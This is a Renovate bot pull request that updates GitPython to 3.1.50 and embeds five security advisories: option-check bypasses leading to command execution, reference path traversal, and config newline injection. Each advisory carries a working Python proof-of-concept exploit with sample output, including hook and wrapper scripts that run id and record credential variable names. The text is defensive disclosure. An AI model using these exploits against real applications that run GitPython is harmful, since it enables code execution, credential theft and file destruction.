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Update dependency gitpython to v3.1.50 [SECURITY]#574
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@renovate renovate Bot commented Apr 26, 2026 •
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This PR contains the following updates:

Package Change Age Confidence
gitpython 3.1.45 → 3.1.50 age confidence

GitPython has Command Injection via Git options bypass

CVE-2026-42215 / GHSA-rpm5-65cw-6hj4

More information

Details

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

  • git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
  • git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

  • Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
  • Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
  • Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
  • Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

  • upload_pack=... becomes --upload-pack=...
  • receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

  • remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
  • remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

  • test/test_clone.py:129-136 checks {"upload-pack": ...}
  • test/test_remote.py:830-833 checks {"upload-pack": ...}
  • test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC
  1. Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
  1. make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

##### Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

##### Setup: this wrapper is just to demo things you can do, not required for the exploit to work

##### you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
    f.write(f"""#!/bin/sh
{{
  echo "code_exec=1"
  echo "whoami=$(id)"
  echo "cwd=$(pwd)"
  echo "uname=$(uname -a)"
  printf 'argv='; printf '<%s>' "$@&#8203;"; echo
  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@&#8203;"
""")
os.chmod(wrapper, stat.S_IRWXU)

subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

with open(os.path.join(producer, "README"), "w") as f:
    f.write("x")

subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
    ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
    check=True,
    stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

repo = Repo(victim)
remote = repo.remote("origin")

##### the literal Git option name is properly blocked.
try:
    remote.fetch(**{"upload-pack": wrapper})
    print("control=unexpected_success")
except UnsafeOptionError:
    print("control=blocked")

##### this is the actual vulnerability

##### you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
##### if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)

##### Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())
  1. Expected result:
  • The script prints control=blocked
  • The script prints proof_exists True ...
  • The proof file contains evidence that the attacker-controlled helper executed as the local application account, including id, working directory, argv, and selected environment variable names

Example output:

GitPython % python3 test.py
control=blocked
proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt
code_exec=1
whoami=uid=501(wes) gid=20(staff) <redacted>
cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim
uname=Darwin  <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>
argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>
USER=<redacted>
SSH_AUTH_SOCK=<redacted>
PATH=<redacted>
HOME=<redacted>

This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.

Impact

Who is impacted:

  • Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior
  • Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with **kwargs
  • CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )

What the attacker needs to control:

  • A value that becomes upload_pack or receive_pack in the kwargs passed to Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push()

From a severity perspective, this could lead to

  • Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process
  • Modification of repositories, build outputs, or release artifacts
  • Lateral movement from CI/CD workers or automation hosts
  • Full compromise of the worker or service process handling repository operations

The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

GitPython: Unsafe option check validates multi_options before shlex.split transformation

CVE-2026-42284 / GHSA-x2qx-6953-8485

More information

Details

Summary

_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383:

multi = shlex.split(" ".join(multi_options))

Then validation runs on the original list at line 1390:

Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)

Then execution uses the transformed result at line 1392:

proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith:

if option.startswith(unsafe_option) or option == bare_option:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clone_multi_options.

PoC
import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())

Output:

multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True
texugo
DESKTOP-5w5HH79
Impact

Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository

CVE-2026-44243 / GHSA-7545-fcxq-7j24

More information

Details

🧾 Summary

A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.

📦 Affected Versions
  • Affected: <= 3.1.46 and current main (3.1.47 in local checkout)
🧠 Details
Vulnerability Type

Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion

Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.

Affected Code
def set_reference(self, ref, logmsg=None):
    ...
    fpath = self.abspath
    assure_directory_exists(fpath, is_file=True)

    lfd = LockedFD(fpath)
    fd = lfd.open(write=True, stream=True)
    ...
@&#8203;classmethod
def delete(cls, repo, path):
    full_ref_path = cls.to_full_path(path)
    abs_path = os.path.join(repo.common_dir, full_ref_path)
    if os.path.exists(abs_path):
        os.remove(abs_path)
def rename(self, new_path, force=False):
    new_path = self.to_full_path(new_path)
    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
    ...
    os.rename(cur_abs_path, new_abs_path)
Attack Vector

Local attack through application-controlled input passed into GitPython reference APIs

Authentication Required

None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.

🧪 Proof of Concept
Setup
pip install GitPython==3.1.46
python poc.py
Exploit
import shutil
from pathlib import Path

from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve()
if base.exists():
    shutil.rmtree(base)

repo_dir = base / "repo"
repo = Repo.init(repo_dir)

(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")

outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")

print(f"repo_dir       = {repo_dir}")
print(f"outside_write  = {outside_write}")
print(f"outside_delete = {outside_delete}")

Reference.create(repo, "../../../outside_write.txt", "HEAD")

print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
    print("[+] outside_write content:")
    print(outside_write.read_text(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outside_delete.txt")

print("\n[+] outside_delete exists after delete:", outside_delete.exists())
Result
repo_dir       = ...\gp-ghsa-poc\repo
outside_write  = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt

[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>

[+] outside_delete exists after delete: False
💥 Impact
What can an attacker do?
  • Create or overwrite files outside the repository metadata directory
  • Delete attacker-chosen files reachable from the process permissions
  • Corrupt application state or configuration files
  • Cause denial of service by deleting or overwriting important files
Security Impact
  • Confidentiality: Low
  • Integrity: High
  • Availability: High
Who is affected?
  • Applications that expose GitPython reference operations to user-controlled input
  • Git automation services, repository management backends, CI/CD helpers, and developer platforms
  • Multi-user environments where one user can influence ref names processed on behalf of another workflow
🛠️ Mitigation / Fix
Recommended Fix
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
    SymbolicReference._check_ref_name_valid(path)

    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
    target = (base / path).resolve()

    if base not in [target, *target.parents]:
        raise ValueError(f"Reference path escapes repository boundary: {path}")

    return str(target)
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

CVE-2026-44244 / GHSA-v87r-6q3f-2j67

More information

Details

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:

import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath

GHSA-mv93-w799-cj2w

More information

Details

Summary

The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.

Details

File: git/config.py — GitPython 3.1.49 (latest patched version)

  def set_value(self, section: str, option: str, value) -> "GitConfigParser":
      value_str = self._value_to_string_safe(value)   # only value is validated
      if not self.has_section(section):
          self.add_section(section)                    # section not validated
      super().set(section, option, value_str)          # option not validated
      return self

_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.

PoC

  import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

  # Inject newline into section parameter (not value — already patched)
  with repo.config_writer() as cw:
      cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

  r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                     capture_output=True, text=True)
  print(r.stdout.strip())  # → /tmp/evil_hooks

  subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
  print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed

Impact

Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

gitpython-developers/GitPython (gitpython)

v3.1.50

Compare Source

What's Changed

New Contributors

Full Changelog: gitpython-developers/GitPython@3.1.49...3.1.50

v3.1.49: - Security

Compare Source

What's Changed

Full Changelog: gitpython-developers/GitPython@3.1.48...3.1.49

v3.1.48: - Security

Compare Source

Accidentally deleted the previous GH release, it did mention the advisory this fixes.

What's Changed

Full Changelog: gitpython-developers/GitPython@3.1.47...3.1.48

v3.1.47: - with security fixes

Compare Source

Advisories

What's Changed

New Contributors

Full Changelog: gitpython-developers/GitPython@3.1.46...3.1.47

v3.1.46

Compare Source

What's Changed

New Contributors

Full Changelog: gitpython-developers/GitPython@3.1.45...3.1.46

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@renovate renovate Bot added the dependencies Pull requests that update a dependency file label Apr 26, 2026
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@renovate renovate Bot changed the title Update dependency gitpython to v3.1.47 [SECURITY] Update dependency gitpython to v3.1.47 [SECURITY] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot deleted the renovate/pypi-gitpython-vulnerability branch April 27, 2026 18:08
@renovate renovate Bot changed the title Update dependency gitpython to v3.1.47 [SECURITY] - autoclosed Update dependency gitpython to v3.1.47 [SECURITY] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/pypi-gitpython-vulnerability branch 2 times, most recently from 3cc9022 to 6011835 Compare April 27, 2026 20:55
@renovate renovate Bot force-pushed the renovate/pypi-gitpython-vulnerability branch from 6011835 to a4e7daf Compare May 8, 2026 10:03
@renovate renovate Bot changed the title Update dependency gitpython to v3.1.47 [SECURITY] Update dependency gitpython to v3.1.48 [SECURITY] May 8, 2026
@renovate renovate Bot changed the title Update dependency gitpython to v3.1.48 [SECURITY] Update dependency gitpython to v3.1.49 [SECURITY] May 8, 2026
@renovate renovate Bot changed the title Update dependency gitpython to v3.1.49 [SECURITY] Update dependency gitpython to v3.1.50 [SECURITY] May 9, 2026
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